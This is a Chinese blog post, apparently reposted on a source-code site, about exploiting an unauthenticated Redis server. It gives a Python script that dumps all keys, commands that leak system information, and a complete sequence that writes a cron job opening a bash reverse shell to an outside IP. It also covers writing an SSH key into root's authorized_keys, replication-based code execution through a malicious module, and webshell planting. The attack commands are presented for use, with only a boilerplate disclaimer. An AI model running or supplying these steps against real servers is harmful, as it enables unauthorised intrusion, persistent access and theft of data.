好久没写了,水文扔到水博客上还能督促自己划水bushi
获取数据
执行命令KEY *
获取所有键
通过遍历所有KEY获得所有值
import redis def export_redis_data(): # 创建Redis连接 r = redis.Redis(host='localhost', port=6379, db=0) # 获取所有key keys = r.keys('*') # 遍历所有key,并输出对应的value for key in keys: value = r.get(key) print(f'{key}: {value}') # 如果需要保存到文件中,可以使用下面的代码 # with open('redis_data.txt', 'a') as f: # f.write(f'{key}: {value}\n') # 关闭Redis连接 r.close() if __name__ == "__main__": export_redis_data()
或者直接上redis-dump工具导出数据库
系统信息泄露
输入info
可以看到redis的版本、系统内核版本、配置文件路径等信息
输入CONFIG GET dir
可以查看安装路径
反弹shell-写入定时计划
set x "\n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save
定时任务
* * * * * command 顺序:分 时 日 月 周 执行语句
第一颗星: 表示分钟minute,可以是从0到59之间的任何整数。 第二颗星:表示小时hour,可以是从0到23之间的任何整数。 第三颗星:表示日期day,可以是从1到31之间的任何整数。 第四颗星:表示月份month,可以是从1到12之间的任何整数。 第五颗星:表示星期几week,可以是从0到7之间的任何整数,这里的0或7代表星期日。 command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件
0 * * * *
:每小时的第 0 分钟执行,即每小时执行一次。
0 0 * * *
:每天的午夜(00:00)执行。
*/5 * * * *
:每 5 分钟执行一次。
写入SSH公钥
利用条件:
-
Redis服务使用root账号启动
-
服务器开放SSH服务,允许使用密钥登录,且存在/root/.ssh目录
密钥登录功能配置在/etc/ssh/sshd_config中
PS:service sshd restart
这个命令重启SSH服务不会使SSH断连
config set dir /root/.ssh //设置存储公钥路径 config set dbfilename authorized_keys //设置文件名称
上述操作在set dbfilename后已经切换数据库,所以如果对上次存入数据不满意可FLUSHDB
清理数据库或者DEL XXXX
清理上条内容
主从复制
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
工具GitHub - yuyan-sec/RedisEXP: Redis 漏洞利用工具
注意主从复制会清空数据库,也就是说会影响到生产环境!
写webshell
难点在目标web目录路径
参考:
本站资源均来自互联网,仅供研究学习,禁止违法使用和商用,产生法律纠纷本站概不负责!如果侵犯了您的权益请与我们联系!
转载请注明出处: 免费源码网-免费的源码资源网站 » 已知redis存在未授权后的利用方法
发表评论 取消回复